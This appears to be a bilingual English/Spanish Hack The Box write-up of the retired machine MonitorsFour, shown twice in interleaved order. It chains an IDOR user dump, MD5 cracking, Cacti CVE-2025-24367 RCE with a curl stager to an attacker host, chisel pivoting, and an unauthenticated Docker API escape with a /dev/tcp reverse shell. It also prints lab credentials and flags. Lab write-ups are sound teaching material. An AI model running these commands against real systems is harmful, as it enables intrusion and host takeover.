MonitorsFour
Executive summary — MonitorsFour is a Windows machine whose backend runs on Docker Desktop + WSL2, and it doesn't fall to a single exploit but by chaining flaws: an unauthenticated IDOR dumps every user and their MD5 hash, the admin hash is cracked with
hashcat, those credentials are reused on an internal Cacti panel vulnerable to authenticated RCE (CVE-2025-24367), and from the compromised container we pivot withchiselto an unauthenticated Docker API that lets us mount the host root and gain root. A Web → Cacti → Container → Docker API → Host Root path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.33.16 |
Attack map
[80/HTTP + 5985/WinRM] nginx → vhost monitorsfour.htb
│ IDOR (token=0) on /user → dump of users + MD5 hashes
▼
[MD5 hashes] unsalted → hashcat + rockyou → admin/Marcus : wonderful1
│ hidden vhost cacti.monitorsfour.htb (Cacti 1.2.28)
▼
[Cacti] credential reuse marcus:wonderful1
│ CVE-2025-24367 (Graph Template RCE) → .php in the webroot
▼
[Docker container] www-data shell → user.txt
│ chisel R:2375:192.168.65.7:2375 (internal Docker API)
▼
[Docker API 2375] unauthenticated → container with host / mounted
▼
[ROOT Windows host / WSL2] chroot /host → root.txt
1. Reconnaissance
We start by mapping the full attack surface with a complete nmap scan (all ports, default scripts and version detection):
nmap -sC -sV -p- --min-rate 3000 -oN nmap_10.129.33.16.txt 10.129.33.16
Result:
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Analysis: just two ports. 80/tcp (nginx) forces a redirect via the
Host:header tomonitorsfour.htb, and 5985/tcp (WinRM) confirms a Windows host. WinRM wasn't used in the chain —no valid native credentials turned up—; the real vector is HTTP only.
Resumen ejecutivo — MonitorsFour es una máquina Windows cuyo backend corre sobre Docker Desktop + WSL2, y no cae por un exploit único sino encadenando fallos: un IDOR sin autenticación vuelca los usuarios y sus hashes MD5, el hash del administrador se crackea con
hashcat, esas credenciales se reutilizan en un panel Cacti interno vulnerable a RCE autenticado (CVE-2025-24367), y desde el contenedor comprometido se pivota conchiselhasta una Docker API expuesta sin autenticación que permite montar la raíz del host y obtener root. Un recorrido Web → Cacti → Contenedor → Docker API → Host Root.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.33.16 |
Mapa del ataque
[80/HTTP + 5985/WinRM] nginx → vhost monitorsfour.htb
│ IDOR (token=0) en /user → volcado de usuarios + hashes MD5
▼
[Hashes MD5] sin sal → hashcat + rockyou → admin/Marcus : wonderful1
│ vhost oculto cacti.monitorsfour.htb (Cacti 1.2.28)
▼
[Cacti] reutilización de credenciales marcus:wonderful1
│ CVE-2025-24367 (Graph Template RCE) → .php en el webroot
▼
[Contenedor Docker] shell www-data → user.txt
│ chisel R:2375:192.168.65.7:2375 (Docker API interna)
▼
[Docker API 2375] sin autenticación → contenedor con / del host montado
▼
[ROOT host Windows/WSL2] chroot /host → root.txt
1. Reconocimiento
Empezamos mapeando toda la superficie de ataque con un escaneo completo de nmap (todos los puertos, scripts por defecto y detección de versiones):
nmap -sC -sV -p- --min-rate 3000 -oN nmap_10.129.33.16.txt 10.129.33.16
Resultado:
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Análisis: solo dos puertos. El 80/tcp (nginx) fuerza un redirect por cabecera
Host:haciamonitorsfour.htb, y el 5985/tcp (WinRM) confirma que el host es Windows. WinRM no se usó en la cadena —no aparecieron credenciales nativas válidas—; el vector real es exclusivamente HTTP.
2. Web enumeration
Since the site answers by virtual host, we map the domain (and the one we'll discover later) in /etc/hosts:
echo "10.129.33.16 monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
We fuzz directories with gobuster:
gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt
API-style routes show up: /login, /contact, /forgot-password, /user, /controllers, /views, /static. The /user route returns JSON instead of HTML:
curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}
An extra fuzz reveals a publicly accessible /.env that leaks MariaDB credentials:
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
Note: port 3306 isn't exposed externally, so these database credentials were not needed to complete the chain. Even so, a
/.envserved by the web server is a serious leak on its own. Fuzzing with an API endpoint wordlist also uncovers/api/v1/userand/api/v1/auth(the latter with no useful surface).
3. IDOR — user dump (token=0)
The /user endpoint (and /api/v1/user) requires a token parameter, but doesn't validate its value safely. The check is fully bypassed with the trivial value token=0:
curl "http://monitorsfour.htb/user?token=0"
Response — it dumps every user in the database, including each one's MD5 hash, role and real token:
[
{"id":2,"username":"admin","email":"admin@monitorsfour.htb",
"password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user",
"name":"Marcus Higgins","position":"System Administrator", ...},
{"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169", ...},
{"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b", ...},
{"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519", ...}
]
Why it works: the token validation compares values without checking type, length or format (a classic loose comparison in PHP and broken authorization logic). The result is an IDOR / broken access control: the admin user-listing is reachable with no session or valid token. Golden rule: always try trivial values (
0,null, empty, arrays) on anytokenoridparameter before assuming an endpoint is protected.
4. Cracking the MD5 hashes
The hashes look like unsalted MD5. We confirm it and run hashcat with rockyou:
hashid 8d4a7e7fd08555133e056d9aacb1e519
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Result — only 1 of the 4 hashes falls, the administrator's (Marcus Higgins), but it's enough to move on:
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
5. Hidden vhost discovery (Cacti)
We look for additional virtual hosts with gobuster vhost:
gobuster vhost -u monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt --append-domain
cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti]
Browsing to http://cacti.monitorsfour.htb/cacti we hit a Cacti login on a vulnerable version (1.2.28).
6. Credential reuse in Cacti
The Cacti login does not accept the web app's username/email (admin), but the real name in lowercase: marcus. With the cracked password:
Username: marcus
Password: wonderful1
Lesson: the same secret reused across the management app and the monitoring panel is a very common lateral-movement pattern. Once you get any valid credential, it's worth trying it against the other discovered vhosts and internal services (Cacti, Grafana, Zabbix, phpMyAdmin, etc.).
7. CVE-2025-24367 — Cacti Authenticated RCE
Cacti 1.2.28 is vulnerable to authenticated RCE via injection in Graph Templates. The right_axis_label field of a graph template lets you inject RRDtool directives with embedded PHP (<?=...;?>). When graph generation is forced, Cacti invokes RRDtool with those parameters and ends up writing an arbitrary .php file into the webroot, which executes commands once served.
PoC flow (exploit.py):
- Login via
POST /cacti/index.phpwith the CSRF token (csrfMagicToken) scraped from the page. - Locate a base template (e.g. Unix - Logged in Users) to get its
template_id. - Stage 1: inject into
right_axis_labelan RRDtool block that writes a.phpstager which downloads the attacker payload:
<?=`curl\x20<ATTACKER_IP>/bash\x20-o\x20bash`;?>
- Trigger
graph_json.phpso RRDtool writes and runs that.php(fetching thebashscript). - Stage 2: repeat with a second template whose label runs
bash bash, firing the real reverse shell.
We start the listener and run the exploit (which also serves the payload over HTTP on local port 80):
nc -lvnp 4444
python3 exploit.py -u marcus -p wonderful1 -i <ATTACKER_IP> -l 4444 \
-url http://cacti.monitorsfour.htb
Exploit output:
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: UM95w.php
[+] Got payload: /bash
[i] Created PHP filename: Vkv0Z.php
[+] Hit timeout, looks good for shell, check your listener!
Shell received — we land inside a Docker container as www-data:
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.33.16] 57625
www-data@821fbd6a43fa:~/html/cacti$
8. User flag
www-data has read access to marcus's file, so there's no need to escalate inside the container to read the first flag:
www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
ef312dec8feed962c86344c2bbca3dda
9. Container reconnaissance
Before escalating, we figure out where we are:
uname -a
# Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
cat /etc/os-release
# Debian GNU/Linux 13 (trixie)
cat /etc/resolv.conf
# ... ExtServers: [host(192.168.65.7)]
Key point: the
microsoft-standard-WSL2kernel and theresolv.confreveal that the container runs under Docker Desktop on WSL2 on a Windows host, with an internal gateway at192.168.65.7.LinPEASinside the container finds no local paths (SUID, cron, capabilities): the real vector isn't a classic Linux privesc, but a container escape to the host.
10. Pivoting with chisel
The container only has curl (no nc, no nmap). We use chisel —a static binary— to expose the internal port 2375 (Docker API) to the attacker through a reverse tunnel:
# On the attacker: serve the chisel binary over HTTP
python3 -m http.server 8000
# On the attacker: chisel server in reverse mode
chisel server -p 9999 --reverse
# Inside the compromised container (www-data)
curl -s http://<ATTACKER_IP>:8000/chisel -o chisel
chmod +x chisel
./chisel client <ATTACKER_IP>:9999 R:2375:192.168.65.7:2375 &
Client log confirming the tunnel:
2026/07/19 17:55:17 client: Connecting to ws://<ATTACKER_IP>:9999
2026/07/19 17:55:17 client: Connected (Latency 38.636895ms)
11. Unauthenticated Docker API
With the tunnel up, 127.0.0.1:2375 on the attacker equals 192.168.65.7:2375 (the host's Docker Desktop engine):
curl -s http://127.0.0.1:2375/version
# Docker Engine 28.3.2, KernelVersion 6.6.87.2-microsoft-standard-WSL2
curl -s http://127.0.0.1:2375/images/json
# docker_setup-nginx-php, docker_setup-mariadb, alpine:latest
The flaw: the engine answers with no authentication at all. Anyone who reaches port 2375 has full control over creating and starting containers on the host — a direct escape route.
12. Container escape — root on the host
We create an alpine:latest container with the host root bind-mounted (/:/host) and a chroot that fires a reverse shell:
{
"Image": "alpine:latest",
"Cmd": ["sh", "-c", "chroot /host /bin/bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/2222 0>&1\""],
"HostConfig": {
"Binds": ["/:/host"]
}
}
nc -lvnp 2222 # listener
curl -H 'Content-Type: application/json' -d @container.json \
'http://127.0.0.1:2375/containers/create'
# {"Id":"be51d2744b33...","Warnings":[]}
curl -X POST http://127.0.0.1:2375/containers/be51d2744b33.../start
Shell received as root (uid=0), already with the chroot applied over the host root:
listening on [any] 2222 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.33.16] 60925
root@be51d2744b33:/# whoami
root
root@be51d2744b33:/# id
uid=0(root) gid=0(root) groups=0(root),...,27(sudo)
Why it works: mounting the host
/inside the container andchroot-ing onto that mount point makes the process run with the real host filesystem as its root and with the container's root privilege — which in this setup equals full control of the system. The Windows filesystem is reachable via the WSL2 integration at/mnt/host/c/....
13. Root flag
root@be51d2744b33:/# cat /mnt/host/c/Users/Administrator/Desktop/root.txt
406ab9028d3807b1f5ac0279b1d0502a
Machine fully compromised. 🏴
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web | /user API | IDOR / broken access control (bypass with token=0) | Dump of users, roles and MD5 hashes |
| Credentials | Unsalted MD5 hashes | Weak hashing + password in rockyou | Cleartext password for admin (wonderful1) |
| Access | Cacti 1.2.28 panel | Credential reuse + CVE-2025-24367 (Graph Template RCE) | www-data shell in the container → user.txt |
| PrivEsc | Docker API (2375) | Engine exposed without authentication (reachable via pivoting) | Container escape → root on the Windows/WSL2 host |
Discarded paths
| Path tried | Result | Why discarded |
|---|---|---|
Default-credential brute force on /login | Failed | No valid default credentials |
/api/v1/auth (POST) | 405/302, no feedback | No errors or expected params exposed; no injection surface |
.env credentials (monitorsdbuser:f37p2j8f4t0r) | Unused | Port 3306 not exposed externally; unnecessary for the chain |
| LinPEAS / local privesc in the Cacti container | No findings | No SUID, cron or capabilities; the vector was the escape via Docker API |
| WinRM (5985/tcp) | Not exploited | No native Windows/domain credentials; initial access was HTTP-only |
Lessons learned
- IDOR with
token=0: a poorly implemented token/authorization check can fully bypass a control that looks present. Always try trivial values before assuming an endpoint is protected. - Credential reuse: a management panel and a monitoring service sharing a password is a classic lateral-movement pattern. Test any valid credential against every internal service.
- Cacti CVE-2025-24367: graph template label fields end up interpreted as RRDtool parameters and allow writing
.phpinto the webroot. Reproducible on any Cacti < 1.2.29 with low-privilege authenticated access. - Docker API without TLS/auth (2375): reaching that port —even via tunneling— is enough to create a container with
/mounted andchrootinto it, taking the host. After a shell in a container, always checkresolv.conf, internal gateways and ports 2375/2376. - chisel as minimal pivoting: when the container only has
curl, a static binary served over plain HTTP is enough to raise reverse tunnels and reach internal services. - Docker Desktop on WSL2: the Windows filesystem is reachable from Linux at
/mnt/host/c/...— handy for quickly locatingUsers\<user>\Desktop\root.txtin hybrid Windows + Docker Desktop + WSL2 setups.
2. Enumeración web
Como el sitio responde por virtual host, mapeamos el dominio (y el que descubriremos más tarde) en /etc/hosts:
echo "10.129.33.16 monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
Fuzzeamos directorios con gobuster:
gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt
Aparecen rutas propias de una API: /login, /contact, /forgot-password, /user, /controllers, /views, /static. La ruta /user devuelve JSON en lugar de HTML:
curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}
Un fuzz adicional revela un /.env accesible públicamente, que filtra credenciales de MariaDB:
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
Nota: el puerto 3306 no está expuesto externamente, así que estas credenciales de base de datos no fueron necesarias para completar la cadena. Aun así, un
/.envservido por el servidor web es una fuga grave por sí sola. Un fuzz con un diccionario de endpoints de API también descubre/api/v1/usery/api/v1/auth(este último sin superficie útil).
3. IDOR — volcado de usuarios (token=0)
El endpoint /user (y /api/v1/user) exige un parámetro token, pero no valida su valor de forma segura. El control se salta por completo con el valor trivial token=0:
curl "http://monitorsfour.htb/user?token=0"
Respuesta — vuelca todos los usuarios de la base de datos, incluyendo hash MD5, rol y token real de cada uno:
[
{"id":2,"username":"admin","email":"admin@monitorsfour.htb",
"password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user",
"name":"Marcus Higgins","position":"System Administrator", ...},
{"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169", ...},
{"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b", ...},
{"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519", ...}
]
Por qué funciona: la validación del token compara valores sin verificar tipo, longitud ni formato (un clásico de comparación laxa en PHP y de lógica de autorización mal implementada). El resultado es un IDOR / broken access control: se accede al listado administrativo de usuarios sin sesión ni token válido. Regla de oro: prueba siempre valores triviales (
0,null, vacío, arrays) en cualquier parámetrotokenoidantes de asumir que un endpoint está protegido.
4. Cracking de los hashes MD5
Los hashes tienen pinta de MD5 sin sal. Lo confirmamos y lanzamos hashcat con rockyou:
hashid 8d4a7e7fd08555133e056d9aacb1e519
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Resultado — solo cae 1 de los 4 hashes, el del administrador (Marcus Higgins), pero es suficiente para continuar:
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
5. Descubrimiento del vhost oculto (Cacti)
Buscamos virtual hosts adicionales con gobuster vhost:
gobuster vhost -u monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt --append-domain
cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti]
Al navegar a http://cacti.monitorsfour.htb/cacti aparece el login de Cacti, en una versión vulnerable (1.2.28).
6. Reutilización de credenciales en Cacti
El login de Cacti no acepta el username/email de la app web (admin), sino el nombre real en minúsculas: marcus. Con la contraseña crackeada:
Usuario: marcus
Contraseña: wonderful1
Lección: el mismo secreto reutilizado entre la app de gestión y el panel de monitorización es un patrón de movimiento lateral muy común. Al conseguir cualquier credencial válida, merece la pena probarla contra el resto de vhosts y servicios internos descubiertos (Cacti, Grafana, Zabbix, phpMyAdmin, etc.).
7. CVE-2025-24367 — Cacti Authenticated RCE
Cacti 1.2.28 es vulnerable a RCE autenticada mediante inyección en las Graph Templates. El campo right_axis_label de una plantilla de gráfico permite inyectar directivas de RRDtool con PHP embebido (<?=...;?>). Al forzar la generación del gráfico, Cacti invoca RRDtool con esos parámetros y termina escribiendo un fichero .php arbitrario en el webroot, que al servirse ejecuta comandos.
Flujo del PoC (exploit.py):
- Login vía
POST /cacti/index.phpcon el token CSRF (csrfMagicToken) extraído de la página. - Localiza una plantilla base (p. ej. Unix - Logged in Users) para obtener su
template_id. - Etapa 1: inyecta en
right_axis_labelun bloque RRDtool que genera un.phpcon un stager que descarga el payload del atacante:
<?=`curl\x20<ATTACKER_IP>/bash\x20-o\x20bash`;?>
- Dispara
graph_json.phppara que RRDtool escriba y ejecute ese.php(descarga el scriptbash). - Etapa 2: repite con una segunda plantilla cuya etiqueta ejecuta
bash bash, lanzando la reverse shell real.
Levantamos el listener y ejecutamos el exploit (que además sirve el payload por HTTP en el puerto 80 local):
nc -lvnp 4444
python3 exploit.py -u marcus -p wonderful1 -i <ATTACKER_IP> -l 4444 \
-url http://cacti.monitorsfour.htb
Salida del exploit:
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: UM95w.php
[+] Got payload: /bash
[i] Created PHP filename: Vkv0Z.php
[+] Hit timeout, looks good for shell, check your listener!
Shell recibida — caemos dentro de un contenedor Docker como www-data:
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.33.16] 57625
www-data@821fbd6a43fa:~/html/cacti$
8. User flag
El usuario www-data tiene permiso de lectura sobre el fichero de marcus, así que no hace falta escalar dentro del contenedor para leer la primera flag:
www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
ef312dec8feed962c86344c2bbca3dda
9. Reconocimiento del contenedor
Antes de escalar, entendemos dónde estamos:
uname -a
# Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
cat /etc/os-release
# Debian GNU/Linux 13 (trixie)
cat /etc/resolv.conf
# ... ExtServers: [host(192.168.65.7)]
Clave: el kernel
microsoft-standard-WSL2y elresolv.confrevelan que el contenedor corre bajo Docker Desktop sobre WSL2 en un host Windows, con un gateway interno en192.168.65.7.LinPEASdentro del contenedor no encuentra vías locales (SUID, cron, capabilities): el vector real no es una privesc clásica en Linux, sino un escape de contenedor hacia el host.
10. Pivoting con chisel
El contenedor solo tiene curl (ni nc ni nmap). Usamos chisel —un binario estático— para exponer el puerto interno 2375 (Docker API) hacia el atacante mediante un túnel reverso:
# En el atacante: servir el binario chisel
python3 -m http.server 8000
# En el atacante: servidor chisel en modo reverso
chisel server -p 9999 --reverse
# En el contenedor comprometido (www-data)
curl -s http://<ATTACKER_IP>:8000/chisel -o chisel
chmod +x chisel
./chisel client <ATTACKER_IP>:9999 R:2375:192.168.65.7:2375 &
Log del cliente confirmando el túnel:
2026/07/19 17:55:17 client: Connecting to ws://<ATTACKER_IP>:9999
2026/07/19 17:55:17 client: Connected (Latency 38.636895ms)
11. Docker API sin autenticación
Con el túnel activo, 127.0.0.1:2375 en el atacante equivale a 192.168.65.7:2375 (el engine de Docker Desktop del host):
curl -s http://127.0.0.1:2375/version
# Docker Engine 28.3.2, KernelVersion 6.6.87.2-microsoft-standard-WSL2
curl -s http://127.0.0.1:2375/images/json
# docker_setup-nginx-php, docker_setup-mariadb, alpine:latest
El fallo: el engine responde sin ninguna autenticación. Quien alcance el puerto 2375 tiene control total sobre la creación y arranque de contenedores en el host — una vía de escape directa.
12. Escape de contenedor — root en el host
Creamos un contenedor alpine:latest con la raíz del host montada (/:/host) y un chroot que lanza una reverse shell:
{
"Image": "alpine:latest",
"Cmd": ["sh", "-c", "chroot /host /bin/bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/2222 0>&1\""],
"HostConfig": {
"Binds": ["/:/host"]
}
}
nc -lvnp 2222 # listener
curl -H 'Content-Type: application/json' -d @container.json \
'http://127.0.0.1:2375/containers/create'
# {"Id":"be51d2744b33...","Warnings":[]}
curl -X POST http://127.0.0.1:2375/containers/be51d2744b33.../start
Shell recibida como root (uid=0), ya con el chroot aplicado sobre la raíz del host:
listening on [any] 2222 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.33.16] 60925
root@be51d2744b33:/# whoami
root
root@be51d2744b33:/# id
uid=0(root) gid=0(root) groups=0(root),...,27(sudo)
Por qué funciona: al montar
/del host dentro del contenedor y hacerchrootsobre ese punto de montaje, el proceso corre con la raíz de archivos del host real y con privilegio de root del contenedor — que en este entorno equivale a control total del sistema. El filesystem de Windows queda accesible vía la integración WSL2 en/mnt/host/c/....
13. Root flag
root@be51d2744b33:/# cat /mnt/host/c/Users/Administrator/Desktop/root.txt
406ab9028d3807b1f5ac0279b1d0502a
Máquina comprometida por completo. 🏴
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Web | API /user | IDOR / broken access control (bypass con token=0) | Volcado de usuarios, roles y hashes MD5 |
| Credenciales | Hashes MD5 sin sal | Hashing débil + contraseña en rockyou | Contraseña en claro de admin (wonderful1) |
| Acceso | Panel Cacti 1.2.28 | Reutilización de credenciales + CVE-2025-24367 (Graph Template RCE) | Shell www-data en el contenedor → user.txt |
| PrivEsc | Docker API (2375) | Engine expuesto sin autenticación (alcanzable vía pivoting) | Escape de contenedor → root en el host Windows/WSL2 |
Vías descartadas
| Vía probada | Resultado | Motivo de descarte |
|---|---|---|
Fuerza bruta de credenciales por defecto en /login | Fallida | No había credenciales por defecto válidas |
/api/v1/auth (POST) | 405/302 sin feedback | No expone errores ni parámetros; sin superficie de inyección |
Credenciales de .env (monitorsdbuser:f37p2j8f4t0r) | No usadas | Puerto 3306 no expuesto externamente; innecesarias para la cadena |
| LinPEAS / privesc local en el contenedor Cacti | Sin hallazgos | Sin SUID, cron ni capabilities; el vector era el escape vía Docker API |
| WinRM (5985/tcp) | No explotado | Sin credenciales nativas de Windows/dominio; acceso inicial solo por HTTP |
Lecciones aprendidas
- IDOR con
token=0: una comparación de token/autorización mal implementada puede saltarse por completo un control aparentemente presente. Prueba siempre valores triviales antes de asumir que un endpoint está protegido. - Reutilización de credenciales: un panel de gestión y un servicio de monitorización compartiendo contraseña es un patrón de escalada lateral clásico. Prueba cualquier credencial contra todos los servicios internos.
- Cacti CVE-2025-24367: los campos de etiqueta de las plantillas de gráficos acaban interpretándose como parámetros de RRDtool y permiten escritura de
.phpen el webroot. Reproducible en cualquier Cacti < 1.2.29 con acceso autenticado de bajo privilegio. - Docker API sin TLS/autenticación (2375): alcanzar ese puerto —aunque sea vía tunneling— basta para crear un contenedor con
/montado y hacerchroot, tomando el host. Tras una shell en un contenedor, revisa siempreresolv.conf, gateways internos y los puertos 2375/2376. - chisel como pivoting mínimo: cuando el contenedor solo tiene
curl, un binario estático servido por HTTP simple basta para levantar túneles reversos y alcanzar servicios internos. - Docker Desktop sobre WSL2: el filesystem de Windows queda accesible desde Linux en
/mnt/host/c/...— útil para localizar rápidoUsers\<usuario>\Desktop\root.txten entornos híbridos Windows + Docker Desktop + WSL2.